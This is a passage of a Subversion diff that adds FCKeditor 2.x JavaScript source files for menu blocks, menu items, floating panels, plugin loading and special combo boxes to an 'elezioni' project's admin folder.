+		while ( eItemsTable.rows.length > 0 )
+			eItemsTable.deleteRow( 0 ) ;
+	}
+}
+
+FCKMenuBlock.prototype.Create = function( parentElement )
+{
+	if ( !this._ItemsTable )
+	{
+		if ( FCK.IECleanup )
+			FCK.IECleanup.AddItem( this, FCKMenuBlock_Cleanup ) ;
+
+		this._Window = FCKTools.GetElementWindow( parentElement ) ;
+
+		var oDoc = FCKTools.GetElementDocument( parentElement ) ;
+
+		var eTable = parentElement.appendChild( oDoc.createElement( 'table' ) ) ;
+		eTable.cellPadding = 0 ;
+		eTable.cellSpacing = 0 ;
+
+		FCKTools.DisableSelection( eTable ) ;
+		
+		var oMainElement = eTable.insertRow(-1).insertCell(-1) ;
+		oMainElement.className = 'MN_Menu' ;
+	
+		var eItemsTable = this._ItemsTable = oMainElement.appendChild( oDoc.createElement( 'table' ) ) ;
+		eItemsTable.cellPadding = 0 ;
+		eItemsTable.cellSpacing = 0 ;		
+	}
+	
+	for ( var i = 0 ; i < this._Items.length ; i++ )
+		this._Items[i].Create( this._ItemsTable ) ;
+}
+
+/* Events */
+
+function FCKMenuBlock_Item_OnClick( clickedItem, menuBlock )
+{
+	FCKTools.RunFunction( menuBlock.OnClick, menuBlock, [ clickedItem ] ) ;
+}
+
+function FCKMenuBlock_Item_OnActivate( menuBlock )
+{
+	var oActiveItem = menuBlock._ActiveItem ;
+	
+	if ( oActiveItem && oActiveItem != this )
+	{
+		// Set the focus to this menu block window (to fire OnBlur on opened panels).
+		if ( !FCKBrowserInfo.IsIE && oActiveItem.HasSubMenu && !this.HasSubMenu )
+			menuBlock._Window.focus() ;
+
+		oActiveItem.Deactivate() ;		
+	}
+
+	menuBlock._ActiveItem = this ;
+}
+
+function FCKMenuBlock_Cleanup()
+{
+	this._Window = null ;
+	this._ItemsTable = null ;
+}
+
+// ################# //
+
+var FCKMenuSeparator = function()
+{}
+
+FCKMenuSeparator.prototype.Create = function( parentTable )
+{
+	var oDoc = FCKTools.GetElementDocument( parentTable ) ;
+
+	var r = parentTable.insertRow(-1) ;
+	
+	var eCell = r.insertCell(-1) ;
+	eCell.className = 'MN_Separator MN_Icon' ;
+
+	eCell = r.insertCell(-1) ;
+	eCell.className = 'MN_Separator' ;
+	eCell.appendChild( oDoc.createElement( 'DIV' ) ).className = 'MN_Separator_Line' ;
+
+	eCell = r.insertCell(-1) ;
+	eCell.className = 'MN_Separator' ;
+	eCell.appendChild( oDoc.createElement( 'DIV' ) ).className = 'MN_Separator_Line' ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckmenublockpanel.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckmenublockpanel.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckmenublockpanel.js	(revision 44)
@@ -0,0 +1,51 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckmenublockpanel.js
+ * 	This class is a menu block that behaves like a panel. It's a mix of the
+ * 	FCKMenuBlock and FCKPanel classes.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+
+var FCKMenuBlockPanel = function()
+{
+	// Call the "base" constructor.
+	FCKMenuBlock.call( this ) ;
+}
+
+FCKMenuBlockPanel.prototype = new FCKMenuBlock() ;
+
+
+// Override the create method.
+FCKMenuBlockPanel.prototype.Create = function()
+{
+	var oPanel = this.Panel = ( this.Parent && this.Parent.Panel ? this.Parent.Panel.CreateChildPanel() : new FCKPanel() ) ;
+	oPanel.AppendStyleSheet( FCKConfig.SkinPath + 'fck_editor.css' ) ;
+
+	// Call the "base" implementation.
+	FCKMenuBlock.prototype.Create.call( this, oPanel.MainNode ) ;
+}
+
+FCKMenuBlockPanel.prototype.Show = function( x, y, relElement )
+{
+	if ( !this.Panel.CheckIsOpened() )
+		this.Panel.Show( x, y, relElement ) ;
+}
+
+FCKMenuBlockPanel.prototype.Hide = function()
+{
+	if ( this.Panel.CheckIsOpened() )
+		this.Panel.Hide() ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckmenuitem.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckmenuitem.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckmenuitem.js	(revision 44)
@@ -0,0 +1,157 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckmenuitem.js
+ * 	Defines and renders a menu items in a menu block.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+
+var FCKMenuItem = function( parentMenuBlock, name, label, iconPathOrStripInfoArray, isDisabled )
+{
+	this.Name		= name ;
+	this.Label		= label || name ;
+	this.IsDisabled	= isDisabled ;
+	
+	this.Icon = new FCKIcon( iconPathOrStripInfoArray ) ;
+	
+	this.SubMenu			= new FCKMenuBlockPanel() ;
+	this.SubMenu.Parent		= parentMenuBlock ;
+	this.SubMenu.OnClick	= FCKTools.CreateEventListener( FCKMenuItem_SubMenu_OnClick, this ) ;
+
+	if ( FCK.IECleanup )
+		FCK.IECleanup.AddItem( this, FCKMenuItem_Cleanup ) ;
+}
+
+
+FCKMenuItem.prototype.AddItem = function( name, label, iconPathOrStripInfoArrayOrIndex, isDisabled )
+{
+	this.HasSubMenu = true ;
+	return this.SubMenu.AddItem( name, label, iconPathOrStripInfoArrayOrIndex, isDisabled ) ;
+}
+
+FCKMenuItem.prototype.AddSeparator = function()
+{
+	this.SubMenu.AddSeparator() ;
+}
+
+FCKMenuItem.prototype.Create = function( parentTable )
+{
+	var bHasSubMenu = this.HasSubMenu ;
+	
+	var oDoc = FCKTools.GetElementDocument( parentTable ) ;
+
+	// Add a row in the table to hold the menu item.
+	var r = this.MainElement = parentTable.insertRow(-1) ;
+	r.className = this.IsDisabled ? 'MN_Item_Disabled' : 'MN_Item' ;
+
+	// Set the row behavior.
+	if ( !this.IsDisabled )
+	{
+		FCKTools.AddEventListenerEx( r, 'mouseover', FCKMenuItem_OnMouseOver, [ this ] ) ;
+		FCKTools.AddEventListenerEx( r, 'click', FCKMenuItem_OnClick, [ this ] ) ;
+
+		if ( !bHasSubMenu )
+			FCKTools.AddEventListenerEx( r, 'mouseout', FCKMenuItem_OnMouseOut, [ this ] ) ;
+	}
+	
+	// Create the icon cell.
+	var eCell = r.insertCell(-1) ;
+	eCell.className = 'MN_Icon' ;
+	eCell.appendChild( this.Icon.CreateIconElement( oDoc ) ) ;
+
+	// Create the label cell.
+	eCell = r.insertCell(-1) ;
+	eCell.className = 'MN_Label' ;
+	eCell.noWrap = true ;
+	eCell.appendChild( oDoc.createTextNode( this.Label ) ) ;
+	
+	// Create the arrow cell and setup the sub menu panel (if needed).
+	eCell = r.insertCell(-1) ;
+	if ( bHasSubMenu )
+	{
+		eCell.className = 'MN_Arrow' ;
+
+		// The arrow is a fixed size image.
+		var eArrowImg = eCell.appendChild( oDoc.createElement( 'IMG' ) ) ;
+		eArrowImg.src = FCK_IMAGES_PATH + 'arrow_' + FCKLang.Dir + '.gif' ;
+		eArrowImg.width	 = 4 ;
+		eArrowImg.height = 7 ;
+		
+		this.SubMenu.Create() ;
+		this.SubMenu.Panel.OnHide = FCKTools.CreateEventListener( FCKMenuItem_SubMenu_OnHide, this ) ;
+	}
+}
+
+FCKMenuItem.prototype.Activate = function()
+{
+	this.MainElement.className = 'MN_Item_Over' ;
+
+	if ( this.HasSubMenu )
+	{
+		// Show the child menu block. The ( +2, -2 ) correction is done because
+		// of the padding in the skin. It is not a good solution because one
+		// could change the skin and so the final result would not be accurate.
+		// For now it is ok because we are controlling the skin.
+		this.SubMenu.Show( this.MainElement.offsetWidth + 2, -2, this.MainElement ) ;
+	}
+
+	FCKTools.RunFunction( this.OnActivate, this ) ;
+}
+
+FCKMenuItem.prototype.Deactivate = function()
+{
+	this.MainElement.className = 'MN_Item' ;
+
+	if ( this.HasSubMenu )
+		this.SubMenu.Hide() ;
+}
+
+/* Events */
+
+function FCKMenuItem_SubMenu_OnClick( clickedItem, listeningItem )
+{
+	FCKTools.RunFunction( listeningItem.OnClick, listeningItem, [ clickedItem ] ) ;
+}
+
+function FCKMenuItem_SubMenu_OnHide( menuItem )
+{
+	menuItem.Deactivate() ;
+}
+
+function FCKMenuItem_OnClick( ev, menuItem )
+{
+	if ( menuItem.HasSubMenu )
+		menuItem.Activate() ;
+	else
+	{
+		menuItem.Deactivate() ;
+		FCKTools.RunFunction( menuItem.OnClick, menuItem, [ menuItem ] ) ;
+	}
+}
+
+function FCKMenuItem_OnMouseOver( ev, menuItem )
+{
+	menuItem.Activate() ;
+}
+
+function FCKMenuItem_OnMouseOut( ev, menuItem )
+{
+	menuItem.Deactivate() ;
+}
+
+function FCKMenuItem_Cleanup()
+{
+	this.MainElement = null ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckpanel.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckpanel.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckpanel.js	(revision 44)
@@ -0,0 +1,295 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckpanel.js
+ * 	Component that creates floating panels. It is used by many 
+ * 	other components, like the toolbar items, context menu, etc...
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+
+var FCKPanel = function( parentWindow )
+{
+	this.IsRTL			= ( FCKLang.Dir == 'rtl' ) ;
+	this.IsContextMenu	= false ;
+	this._LockCounter	= 0 ;
+	
+	this._Window = parentWindow || window ;
+	
+	var oDocument ;
+	
+	if ( FCKBrowserInfo.IsIE )
+	{
+		// Create the Popup that will hold the panel.
+		this._Popup	= this._Window.createPopup() ;
+		oDocument = this.Document = this._Popup.document ;
+	}
+	else
+	{
+		var oIFrame = this._IFrame = this._Window.document.createElement('iframe') ; 
+		oIFrame.src					= 'javascript:void(0)' ;
+		oIFrame.allowTransparency	= true ;
+		oIFrame.frameBorder			= '0' ;
+		oIFrame.scrolling			= 'no' ;
+		oIFrame.style.position		= 'absolute';
+		oIFrame.style.zIndex		= FCKConfig.FloatingPanelsZIndex ;
+		oIFrame.width = oIFrame.height = 0 ;
+
+		if ( this._Window == window.parent && window.frameElement )
+			window.frameElement.parentNode.insertBefore( oIFrame, window.frameElement ) ;
+		else
+			this._Window.document.body.appendChild( oIFrame ) ;
+		
+		var oIFrameWindow = oIFrame.contentWindow ; 
+		
+		oDocument = this.Document = oIFrameWindow.document ;
+
+		// Initialize the IFRAME document body.
+		oDocument.open() ;
+		oDocument.write( '<html><head></head><body style="margin:0px;padding:0px;"><\/body><\/html>' ) ;
+		oDocument.close() ;
+
+		FCKTools.AddEventListenerEx( oIFrameWindow, 'focus', FCKPanel_Window_OnFocus, this ) ;
+		FCKTools.AddEventListenerEx( oIFrameWindow, 'blur', FCKPanel_Window_OnBlur, this ) ;
+	}
+
+	oDocument.dir = FCKLang.Dir ;
+	
+	oDocument.oncontextmenu = FCKTools.CancelEvent ;
+
+
+	// Create the main DIV that is used as the panel base.
+	this.MainNode = oDocument.body.appendChild( oDocument.createElement('DIV') ) ;
+
+	// The "float" property must be set so Firefox calculates the size correcly.
+	this.MainNode.style.cssFloat = this.IsRTL ? 'right' : 'left' ;
+
+	if ( FCK.IECleanup )
+		FCK.IECleanup.AddItem( this, FCKPanel_Cleanup ) ;
+}
+
+
+FCKPanel.prototype.AppendStyleSheet = function( styleSheet )
+{
+	FCKTools.AppendStyleSheet( this.Document, styleSheet ) ;
+}
+
+FCKPanel.prototype.Preload = function( x, y, relElement )
+{
+	// The offsetWidth and offsetHeight properties are not available if the 
+	// element is not visible. So we must "show" the popup with no size to
+	// be able to use that values in the second call (IE only).
+	if ( this._Popup )
+		this._Popup.show( x, y, 0, 0, relElement ) ;
+}
+
+FCKPanel.prototype.Show = function( x, y, relElement, width, height )
+{
+	if ( this._Popup )
+	{
+		// The offsetWidth and offsetHeight properties are not available if the 
+		// element is not visible. So we must "show" the popup with no size to
+		// be able to use that values in the second call.
+		this._Popup.show( x, y, 0, 0, relElement ) ;
+
+		// The following lines must be place after the above "show", otherwise it 
+		// doesn't has the desired effect.
+		this.MainNode.style.width	= width ? width + 'px' : '' ;
+		this.MainNode.style.height	= height ? height + 'px' : '' ;
+		
+		var iMainWidth = this.MainNode.offsetWidth ;
+
+		if ( this.IsRTL )
+		{
+			if ( this.IsContextMenu )
+				x  = x - iMainWidth + 1 ;
+			else if ( relElement )
+				x  = ( x * -1 ) + relElement.offsetWidth - iMainWidth ;
+		}
+	
+		// Second call: Show the Popup at the specified location, with the correct size.
+		this._Popup.show( x, y, iMainWidth, this.MainNode.offsetHeight, relElement ) ;
+		
+		if ( this.OnHide )
+		{
+			if ( this._Timer )
+				CheckPopupOnHide.call( this, true ) ;
+
+			this._Timer = FCKTools.SetInterval( CheckPopupOnHide, 100, this ) ;
+		}
+	}
+	else
+	{
+		// Do not fire OnBlur while the panel is opened.
+		if ( typeof( FCKFocusManager ) != 'undefined' )
+			FCKFocusManager.Lock() ;
+
+		if ( this.ParentPanel )
+			this.ParentPanel.Lock() ;
+
+		this.MainNode.style.width	= width ? width + 'px' : '' ;
+		this.MainNode.style.height	= height ? height + 'px' : '' ;
+
+		var iMainWidth = this.MainNode.offsetWidth ;
+
+		if ( !width )	this._IFrame.width	= 1 ;
+		if ( !height )	this._IFrame.height	= 1 ;
+
+		// This is weird... but with Firefox, we must get the offsetWidth before
+		// setting the _IFrame size (which returns "0"), and then after that,
+		// to return the correct width. Remove the first step and it will not
+		// work when the editor is in RTL.
+		iMainWidth = this.MainNode.offsetWidth ;
+
+		var oPos = FCKTools.GetElementPosition( ( relElement.nodeType == 9 ? relElement.body : relElement), this._Window ) ;
+
+		if ( this.IsRTL && !this.IsContextMenu )
+			x = ( x * -1 ) ;
+
+		x += oPos.X ;
+		y += oPos.Y ;
+
+		if ( this.IsRTL )
+		{
+			if ( this.IsContextMenu )
+				x  = x - iMainWidth + 1 ;
+			else if ( relElement )
+				x  = x + relElement.offsetWidth - iMainWidth ;
+		}
+		else
+		{
+			var oViewPaneSize = FCKTools.GetViewPaneSize( this._Window ) ;
+			var oScrollPosition = FCKTools.GetScrollPosition( this._Window ) ;
+			
+			var iViewPaneHeight	= oViewPaneSize.Height + oScrollPosition.Y ;
+			var iViewPaneWidth	= oViewPaneSize.Width + oScrollPosition.X ;
+
+			if ( ( x + iMainWidth ) > iViewPaneWidth )
+				x -= x + iMainWidth - iViewPaneWidth ;
+
+			if ( ( y + this.MainNode.offsetHeight ) > iViewPaneHeight )
+				y -= y + this.MainNode.offsetHeight - iViewPaneHeight ;
+		}
+		
+		if ( x < 0 )
+			 x = 0 ;
+
+		// Set the context menu DIV in the specified location.
+		this._IFrame.style.left	= x + 'px' ;
+		this._IFrame.style.top	= y + 'px' ;
+		
+		var iWidth	= iMainWidth ;
+		var iHeight	= this.MainNode.offsetHeight ;
+		
+		this._IFrame.width	= iWidth ;
+		this._IFrame.height = iHeight ;
+
+		// Move the focus to the IFRAME so we catch the "onblur".
+		this._IFrame.contentWindow.focus() ;
+	}
+
+	this._IsOpened = true ;
+
+	FCKTools.RunFunction( this.OnShow, this ) ;
+}
+
+FCKPanel.prototype.Hide = function( ignoreOnHide )
+{
+	if ( this._Popup )
+		this._Popup.hide() ;
+	else
+	{
+		if ( !this._IsOpened )
+			return ;
+		
+		// Enable the editor to fire the "OnBlur".
+		if ( typeof( FCKFocusManager ) != 'undefined' )
+			FCKFocusManager.Unlock() ;
+
+		// It is better to set the sizes to 0, otherwise Firefox would have 
+		// rendering problems.
+		this._IFrame.width = this._IFrame.height = 0 ;
+
+		this._IsOpened = false ;
+		
+		if ( this.ParentPanel )
+			this.ParentPanel.Unlock() ;
+
+		if ( !ignoreOnHide )
+			FCKTools.RunFunction( this.OnHide, this ) ;
+	}
+}
+
+FCKPanel.prototype.CheckIsOpened = function()
+{
+	if ( this._Popup )
+		return this._Popup.isOpen ;
+	else
+		return this._IsOpened ;
+}
+
+FCKPanel.prototype.CreateChildPanel = function()
+{
+	var oWindow = this._Popup ? FCKTools.GetParentWindow( this.Document ) : this._Window ;
+
+	var oChildPanel = new FCKPanel( oWindow, true ) ;
+	oChildPanel.ParentPanel = this ;
+	
+	return oChildPanel ;
+}
+
+FCKPanel.prototype.Lock = function()
+{
+	this._LockCounter++ ;
+}
+
+FCKPanel.prototype.Unlock = function()
+{
+	if ( --this._LockCounter == 0 && !this.HasFocus )
+		this.Hide() ;
+}
+
+/* Events */
+
+function FCKPanel_Window_OnFocus( e, panel )
+{
+	panel.HasFocus = true ;
+}
+
+function FCKPanel_Window_OnBlur( e, panel )
+{
+	panel.HasFocus = false ;
+	
+	if ( panel._LockCounter == 0 )
+		FCKTools.RunFunction( panel.Hide, panel ) ;
+}
+
+function CheckPopupOnHide( forceHide )
+{
+	if ( forceHide || !this._Popup.isOpen )
+	{
+		window.clearInterval( this._Timer ) ;
+		this._Timer = null ;
+	
+		FCKTools.RunFunction( this.OnHide, this ) ;
+	}
+}
+
+function FCKPanel_Cleanup()
+{
+	this._Popup = null ;
+	this._Window = null ;
+	this.Document = null ;
+	this.MainNode = null ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckplugin.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckplugin.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckplugin.js	(revision 44)
@@ -0,0 +1,52 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckplugin.js
+ * 	FCKPlugin Class: Represents a single plugin.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKPlugin = function( name, availableLangs, basePath )
+{
+	this.Name = name ;
+	this.BasePath = basePath ? basePath : FCKConfig.PluginsPath ;
+	this.Path = this.BasePath + name + '/' ;
+	
+	if ( !availableLangs || availableLangs.length == 0 )
+		this.AvailableLangs = new Array() ;
+	else
+		this.AvailableLangs = availableLangs.split(',') ;
+}
+
+FCKPlugin.prototype.Load = function()
+{
+	// Load the language file, if defined.
+	if ( this.AvailableLangs.length > 0 )
+	{
+		var sLang ;
+		
+		// Check if the plugin has the language file for the active language.
+		if ( this.AvailableLangs.indexOf( FCKLanguageManager.ActiveLanguage.Code ) >= 0 )
+			sLang = FCKLanguageManager.ActiveLanguage.Code ;
+		else
+			// Load the default language file (first one) if the current one is not available.
+			sLang = this.AvailableLangs[0] ;
+		
+		// Add the main plugin script.
+		LoadScript( this.Path + 'lang/' + sLang + '.js' ) ;		
+	}
+		
+	// Add the main plugin script.
+	LoadScript( this.Path + 'fckplugin.js' ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckspecialcombo.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckspecialcombo.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckspecialcombo.js	(revision 44)
@@ -0,0 +1,351 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckspecialcombo.js
+ * 	FCKSpecialCombo Class: represents a special combo.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKSpecialCombo = function( caption, fieldWidth, panelWidth, panelMaxHeight, parentWindow )
+{
+	// Default properties values.
+	this.FieldWidth		= fieldWidth || 100 ;
+	this.PanelWidth		= panelWidth || 150 ;
+	this.PanelMaxHeight	= panelMaxHeight || 150 ;
+	this.Label			= '&nbsp;' ;
+	this.Caption		= caption ;
+	this.Tooltip		= caption ;
+	this.Style			= FCK_TOOLBARITEM_ICONTEXT ;
+
+	this.Enabled = true ;
+	
+	this.Items = new Object() ;
+	
+	this._Panel = new FCKPanel( parentWindow || window, true ) ;
+	this._Panel.AppendStyleSheet( FCKConfig.SkinPath + 'fck_editor.css' ) ;
+	this._PanelBox = this._Panel.MainNode.appendChild( this._Panel.Document.createElement( 'DIV' ) ) ;
+	this._PanelBox.className = 'SC_Panel' ;
+	this._PanelBox.style.width = this.PanelWidth + 'px' ;
+
+	this._PanelBox.innerHTML = '<table cellpadding="0" cellspacing="0" width="100%" style="TABLE-LAYOUT: fixed"><tr><td nowrap></td></tr></table>' ;
+	
+	this._ItemsHolderEl = this._PanelBox.getElementsByTagName('TD')[0] ;
+
+	if ( FCK.IECleanup )
+		FCK.IECleanup.AddItem( this, FCKSpecialCombo_Cleanup ) ;
+
+//	this._Panel.StyleSheet = FCKConfig.SkinPath + 'fck_contextmenu.css' ;
+//	this._Panel.Create() ;
+//	this._Panel.PanelDiv.className += ' SC_Panel' ;
+//	this._Panel.PanelDiv.innerHTML = '<table cellpadding="0" cellspacing="0" width="100%" style="TABLE-LAYOUT: fixed"><tr><td nowrap></td></tr></table>' ;
+//	this._ItemsHolderEl = this._Panel.PanelDiv.getElementsByTagName('TD')[0] ;
+}
+
+function FCKSpecialCombo_ItemOnMouseOver()
+{
+	this.className += ' SC_ItemOver' ;
+}
+
+function FCKSpecialCombo_ItemOnMouseOut()
+{
+	this.className = this.originalClass ;
+}
+
+function FCKSpecialCombo_ItemOnClick()
+{
+	this.className = this.originalClass ;
+
+	this.FCKSpecialCombo._Panel.Hide() ;
+
+	this.FCKSpecialCombo.SetLabel( this.FCKItemLabel ) ;
+
+	if ( typeof( this.FCKSpecialCombo.OnSelect ) == 'function' )
+		this.FCKSpecialCombo.OnSelect( this.FCKItemID, this ) ;
+}
+
+FCKSpecialCombo.prototype.AddItem = function( id, html, label, bgColor )
+{
+	// <div class="SC_Item" onmouseover="this.className='SC_Item SC_ItemOver';" onmouseout="this.className='SC_Item';"><b>Bold 1</b></div>
+	var oDiv = this._ItemsHolderEl.appendChild( this._Panel.Document.createElement( 'DIV' ) ) ;
+	oDiv.className = oDiv.originalClass = 'SC_Item' ;
+	oDiv.innerHTML = html ;
+	oDiv.FCKItemID = id ;
+	oDiv.FCKItemLabel = label || id ;
+	oDiv.FCKSpecialCombo = this ;
+	oDiv.Selected = false ;
+
+	// In IE, the width must be set so the borders are shown correctly when the content overflows.
+	if ( FCKBrowserInfo.IsIE )
+		oDiv.style.width = '100%' ;
+	
+	if ( bgColor )
+		oDiv.style.backgroundColor = bgColor ;
+
+	oDiv.onmouseover	= FCKSpecialCombo_ItemOnMouseOver ;
+	oDiv.onmouseout		= FCKSpecialCombo_ItemOnMouseOut ;
+	oDiv.onclick		= FCKSpecialCombo_ItemOnClick ;
+	
+	this.Items[ id.toString().toLowerCase() ] = oDiv ;
+	
+	return oDiv ;
+}
+
+FCKSpecialCombo.prototype.SelectItem = function( itemId )
+{
+	itemId = itemId ? itemId.toString().toLowerCase() : '' ;
+	
+	var oDiv = this.Items[ itemId ] ;
+	if ( oDiv )
+	{
+		oDiv.className = oDiv.originalClass = 'SC_ItemSelected' ;
+		oDiv.Selected = true ;
+	}
+}
+
+FCKSpecialCombo.prototype.SelectItemByLabel = function( itemLabel, setLabel )
+{
+	for ( var id in this.Items )
+	{
+		var oDiv = this.Items[id] ;
+
+		if ( oDiv.FCKItemLabel == itemLabel )
+		{
+			oDiv.className = oDiv.originalClass = 'SC_ItemSelected' ;
+			oDiv.Selected = true ;
+			
+			if ( setLabel )
+				this.SetLabel( itemLabel ) ;
+		}
+	}
+}
+
+FCKSpecialCombo.prototype.DeselectAll = function( clearLabel )
+{
+	for ( var i in this.Items )
+	{
+		this.Items[i].className = this.Items[i].originalClass = 'SC_Item' ;
+		this.Items[i].Selected = false ;
+	}
+	
+	if ( clearLabel )
+		this.SetLabel( '' ) ;
+}
+
+FCKSpecialCombo.prototype.SetLabelById = function( id )
+{
+	id = id ? id.toString().toLowerCase() : '' ;
+	
+	var oDiv = this.Items[ id ] ;
+	this.SetLabel( oDiv ? oDiv.FCKItemLabel : '' ) ;
+}
+
+FCKSpecialCombo.prototype.SetLabel = function( text )
+{
+	this.Label = text.length == 0 ? '&nbsp;' : text ;
+
+	if ( this._LabelEl )
+		this._LabelEl.innerHTML = this.Label ;
+}
+
+FCKSpecialCombo.prototype.SetEnabled = function( isEnabled )
+{
+	this.Enabled = isEnabled ;
+	
+	this._OuterTable.className = isEnabled ? '' : 'SC_FieldDisabled' ;
+}
+
+FCKSpecialCombo.prototype.Create = function( targetElement )
+{
+	var oDoc = FCKTools.GetElementDocument( targetElement ) ;
+	var eOuterTable = this._OuterTable = targetElement.appendChild( oDoc.createElement( 'TABLE' ) ) ;
+	eOuterTable.cellPadding = 0 ;
+	eOuterTable.cellSpacing = 0 ;
+	
+	eOuterTable.insertRow(-1) ;
+	
+	var sClass ;
+	var bShowLabel ;
+	
+	switch ( this.Style )
+	{
+		case FCK_TOOLBARITEM_ONLYICON :
+			sClass = 'TB_ButtonType_Icon' ;
+			bShowLabel = false;
+			break ;
+		case FCK_TOOLBARITEM_ONLYTEXT :
+			sClass = 'TB_ButtonType_Text' ;
+			bShowLabel = false;
+			break ;
+		case FCK_TOOLBARITEM_ICONTEXT :
+			bShowLabel = true;
+			break ;
+	}
+
+	if ( this.Caption && this.Caption.length > 0 && bShowLabel )
+	{
+		var oCaptionCell = eOuterTable.rows[0].insertCell(-1) ;
+		oCaptionCell.innerHTML = this.Caption ;
+		oCaptionCell.className = 'SC_FieldCaption' ;
+	}
+	
+	// Create the main DIV element.
+	var oField = FCKTools.AppendElement( eOuterTable.rows[0].insertCell(-1), 'div' ) ;
+	if ( bShowLabel )
+	{
+		oField.className = 'SC_Field' ;
+		oField.style.width = this.FieldWidth + 'px' ;
+		oField.innerHTML = '<table width="100%" cellpadding="0" cellspacing="0" style="TABLE-LAYOUT: fixed;"><tbody><tr><td class="SC_FieldLabel"><label>&nbsp;</label></td><td class="SC_FieldButton">&nbsp;</td></tr></tbody></table>' ;
+
+		this._LabelEl = oField.getElementsByTagName('label')[0] ;		// Memory Leak
+		this._LabelEl.innerHTML = this.Label ;
+	}
+	else
+	{
+		oField.className = 'TB_Button_Off' ;
+		//oField.innerHTML = '<span className="SC_FieldCaption">' + this.Caption + '<table cellpadding="0" cellspacing="0" style="TABLE-LAYOUT: fixed;"><tbody><tr><td class="SC_FieldButton" style="border-left: none;">&nbsp;</td></tr></tbody></table>' ;
+		//oField.innerHTML = '<table cellpadding="0" cellspacing="0" style="TABLE-LAYOUT: fixed;"><tbody><tr><td class="SC_FieldButton" style="border-left: none;">&nbsp;</td></tr></tbody></table>' ;
+		
+		// Gets the correct CSS class to use for the specified style (param).
+		oField.innerHTML = '<table title="' + this.Tooltip + '" class="' + sClass + '" cellspacing="0" cellpadding="0" border="0">' +
+				'<tr>' +
+					//'<td class="TB_Icon"><img src="' + FCKConfig.SkinPath + 'toolbar/' + this.Command.Name.toLowerCase() + '.gif" width="21" height="21"></td>' +
+					'<td><img class="TB_Button_Padding" src="' + FCK_SPACER_PATH + '" /></td>' +
+					'<td class="TB_Text">' + this.Caption + '</td>' +
+					'<td><img class="TB_Button_Padding" src="' + FCK_SPACER_PATH + '" /></td>' +
+					'<td class="TB_ButtonArrow"><img src="' + FCKConfig.SkinPath + 'images/toolbar.buttonarrow.gif" width="5" height="3"></td>' +
+					'<td><img class="TB_Button_Padding" src="' + FCK_SPACER_PATH + '" /></td>' +
+				'</tr>' +
+			'</table>' ;
+	}
+
+
+	// Events Handlers
+
+	oField.SpecialCombo = this ;
+	
+	oField.onmouseover	= FCKSpecialCombo_OnMouseOver ;
+	oField.onmouseout	= FCKSpecialCombo_OnMouseOut ;
+	oField.onclick		= FCKSpecialCombo_OnClick ;
+	
+	FCKTools.DisableSelection( this._Panel.Document.body ) ;
+}
+
+function FCKSpecialCombo_Cleanup()
+{
+	this._LabelEl = null ;
+	this._OuterTable = null ;
+	this._ItemsHolderEl = null ;
+	this._PanelBox = null ;
+	
+	if ( this.Items )
+	{
+		for ( var key in this.Items )
+			this.Items[key] = null ;
